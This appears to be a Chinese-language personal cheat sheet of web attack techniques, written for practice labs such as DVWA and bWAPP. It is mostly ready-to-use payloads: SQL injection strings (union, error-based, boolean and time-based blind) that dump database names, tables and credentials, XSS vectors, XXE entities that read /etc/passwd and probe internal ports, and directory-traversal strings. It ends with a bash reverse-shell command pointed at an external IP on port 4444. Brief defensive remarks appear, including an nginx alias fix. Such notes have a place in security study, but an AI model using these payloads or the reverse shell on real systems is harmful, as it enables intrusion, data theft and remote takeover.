sql 注入
mysql
information_schema 数据库:用于存储数据库(元数据),例如数据库名、表名、列的数据类型、访问权限等。
- schemata 表存放了所有数据库的名字
- tables 表存放了数据库中的所有表名
- columns 表存放了数据库中所有列名
在进行 sql 注入时,主要是对这三个进行操作。常规顺序:爆库名--爆表名--爆列名--拖数据
判断数字型还是字符型注入
id=1 && (select count(*) from (select distinct table_schema from information_schema.columns where table_schema!='information_schema' &&table_schema!='performance_schema'&&table_schema!='mysql')a)=1
select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1
爆库名
?id=-1' union select 1,database(),3 --+
爆表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
爆字段名
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+
vulnerables
函数
group_concat
concat
报错注入
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
updataxml()
1' and updatexml(1,concat(0x7e,database(),0x7e,user()),1) --+
0x7e 是 ~ 符号,0x3a 是 : 符号
extractvalue()
1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) --+
floor()
1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x --+
爆表名
1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x --+
1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
1' union select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1) x from information_schema.schemata group by x #
布尔盲注
适用于页面没有回显字段,且 web 页面返回 True 或者 False。通过构造 SQL 语句,利用 and,or 等关键字来其后的语句 true 、 false 使 web 页面返回 true 或者 false,从而达到注入的目的来获取信息。
获取数据库长度
Username = allen' and length(database())>1 --
获得数据库的名字:截取字符串,转为 ASCII 编码
Username = allen' and ORD(mid(database(),1,1))>1
获取表的总数
Username = allen' and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1) =1 --+
获得表的长度
Username = allen' and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1) >1 --
获得字段的总数
Username = allen11' or (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME = 0x16jinzhibiaomingzi) = 5 --
获得第一个字段的长度
Username = allen11' or (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME = 0x….. Limit 0,1) = 2 --
获取的一个字段的名称
Username = allen11' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 0x….. Limit 0,1) = 'id' --
获取内容的长度:例如 username ,password
Username = allen11' or (select length(concat(username,"-----",password)) form admin limit 0,1 ) = 16 --
获取内容:可以转 ACSII 编码
Username = allen11' or (select concat(username,"-----",password) form admin limit 0,1 ) = 'mima' --
时间盲注
时间盲注依靠 sleep () 函数,if () 函数
例如:截取第一个字符串‘p’并转换为 ASCII 编码
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5)) --
?id=1' and if((substr((select user()),1,1)=‘r’),sleep(5),1) --
获取数据库总数
id = 2 and sleep(IF( (select count( SCHEMA_NAME ) from information_schema.SCHEMATA ) >1,5,1) )
获取表的表名
if( (select ascii(substr(table_name,1,1) ) from information_schema.tables where table_schema = database() limit 0,1)>0 ,sleep(5), sleep(20) )--
宽字节注入
XSS 攻击
常用 payload
<script>alert("xss");</script>
"><script>alert("xss");</script>
' onfocus=javascript:alert() '
"> <a href=javascript:alert(1)>xxx</a> <"
大小写绕过
双拼写绕过
javascript:alert(document.cookie)
利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议
javascript:alert()
<scirpt>alert("xss");</script>
图片加载错误时触发
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
鼠标指针移动到元素时触发
<img src=1 onmouseover="alert(1)">
鼠标指针移出时触发
<img src=1 onmouseout="alert(1)">
<a href=javascript:alert('xss')>test</a>
<a href="" onmouseover="alert(/xss/)">aa</a>
<a href="" onclick=alert('xss')>a</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href="" onmouseover=prompt('xss') y=2016>aa</a>
<svg onload=alert(1)>
参考: https://blog.csdn.net/LYJ20010728/article/details/116462782
文件包含漏洞
XXE 漏洞
简单介绍
XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义 (可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。XXE 漏洞全称 XMLExternal Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
要掌握 xxe 漏洞需要理解 xml 和 DTD 是什么东西。参考: https://xz.aliyun.com/t/6887 ,必看
简单示例:一个简单的 payload,如果你看了上面的文章,就会明白这个 payload。简单地说,1.txt 替换了 test 的内容。&test 这是固定的语法格式。参考: https://xz.aliyun.com/t/6887 ,必看
<?xml version="1.0" encoding="gb2312"?>
<!DOCTYPE a [
<!ENTITY test SYSTEM "D:/1.txt">
]>
<a>&test;</a>

漏洞利用
有回显
1、文件读取
bwapp-xxe 靶场,登录,low 级别,抓包。

插入 payload,读取文件。<!ENTITY bee SYSTEM "/etc/passwd"> 也可以。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE reset [
<!ENTITY bee SYSTEM "file:///etc/passwd">
]>

2、内网探测
探测 80 端口,主机是否开启 80 端口。
<?xml version="1.0" ?>
<!DOCTYPE reset [
<!ENTITY bee SYSTEM "http://192.168.78.134:80">
]>
根据返回的报错内容,进行判断
无回显
防御方法
禁止使用 DTD 的外部声明
对用户提交过来的 XML 数据进行过滤。
目录穿越
1、简单介绍
目录穿越(也被称为目录遍历)是通过使用 ../ 等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等。
路径穿越是网站被恶意人员利用,来得到其无权限访问的内容。通常是由于代码没有判断拼接路径的真实路径是否合法,最终导致文件读取。
一般来讲用户在网站进行浏览,所能见到的网页都是位于网站根目录下的文件,根目录以外的文件是不允许被未授权访问的。但是安全方面做得不严谨的 web 程序可能会出现目录穿越漏洞,恶意人员可以利用这个漏洞来读取根目录以外的文件夹。一旦成功,本不应该暴露的敏感信息就可能被泄漏给恶意人员。
参考: https://blog.csdn.net/angry_program/article/details/107855078
2、漏洞利用方式
1)利用 ../ 返回上一级来遍历任意文件:filename=../../../etc/passwd
2)有时候可以直接采用绝对路径:filename=/etc/passwd
3)双写绕过:filename=....//....//....///etc/passwd
4)URL 编码绕过:可以双重编码试试。
. => %2e
/ => %2f
% => %25 (双重URL编码)
5)有些 web 会首先判断是否以一个固定的路径开头:filename=/var/www/images/../../../etc/passwd
6)截断文件后缀。某些 web 对 filename 的文件类型作了限制,只有当后缀为图片时才解析,filename=../../../etc/passwd%00.jpg
3、nginx 目录穿越漏洞
原因:配置不当造成
Nginx 是一个高性能的 HTTP 和反向代理服务器,经常被做为反向代理,动态的部分被 proxy_pass 传递给后端端口,而静态文件需要 Nginx 来处理。漏洞出现在服务器的静态文件中。如果静态文件存储在/home/目录下,而该目录在 url 中名字为 img,那么就需要用 alias 设置目录的别名。(img 是一个举例)
Nginx 在配置别名 (Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞
例如:在如下配置中设置目录别名时,/img 配置为/tmp/的别名,那么当我们访问/img../时,nginx 实际处理的路径时/tmp/../,从而实现了穿越目录
server {
listen 80;
server_name _;
root /var/www/html;
index index.html index.htm;
autoindex on;
location /img { # 后面没有 /
alias /tmp/;
}
}

修复漏洞只需在配置文件中,别名后加 / 即可,如下
server {
listen 80;
server_name _;
root /var/www/html;
index index.html index.htm;
autoindex on;
location /img/ { # 添加一个 /
alias /tmp/;
}
}
CSRF 攻击
为什么 token 可以预防 CSRF 攻击
cookie 是浏览器在发起请求时默认添加的,在不小心访问恶意请求时,会自动添加 cookie,但是 token 需要用 js 来进行读取后(存储在local storage),添加到请求中。
ssrf
常使用的几种协议:
- http:探测内网主机存活、端口开放情况
- file:读取本地文件
- gopher:发送 GET 或 POST 请求;攻击内网应用,如 FastCGI、Redis
- dict:泄露安装软件版本信息,查看端口,操作内网 redis 访问等
靶场搭建: https://github.com/Duoduo-chino/ssrf_vul
获取内网地址
url=file:///etc/hosts
判断:
gopher 协议
反弹 shell 的几种方法
bash 反弹 shell
kali 使用 nc 监听 4444 端口:nc -lvvp 4444
然后在目标主机执行以下命令
# 终端命令行执行
bash -i >& /dev/tcp/8.140.21.107/4444 0>&1
# 无终端执行
bash -c "bash -i >& /dev/tcp/8.140.21.107/4444 0>&1"
# 命令解释
bash -c :启动一个新的Bash Shell。-c表示后续参数是一个需要执行的命令字符串。
bash -i :启用交互模式(Interactive Shell),允许用户输入并保留Shell提示符
>& :将标准输出(stdout)和标准错误(stderr)合并,并重定向到指定位置。
/dev/tcp/8.140.21.107/4444 :Bash的特殊语法(仅Bash支持),用于建立到此IP的端口的TCP连接。此处将输出发送到该连接。
0>&1:整体效果是将标准输入也绑定到TCP连接,实现双向通信。
`0>`:表示重定向**标准输入(stdin)**。
`&1`:指向当前标准输出的位置(即上一步的TCP连接)。
nc